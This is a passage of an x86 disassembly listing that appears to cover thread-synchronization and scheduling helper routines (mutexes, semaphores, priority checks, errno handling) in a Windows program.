		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		nop
		call	near ptr 2740618h
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		nop
		call	near ptr 27405D1h
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27C07F2h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		nop
		call	near ptr 27405D1h
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_433F65
		nop
		call	near ptr 27C07F2h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 2821DE2h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2740000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 283061Dh
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 27706F1h
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 2730D3Ah
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 2730D3Ah
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 27706F1h
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2730D3Ah
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
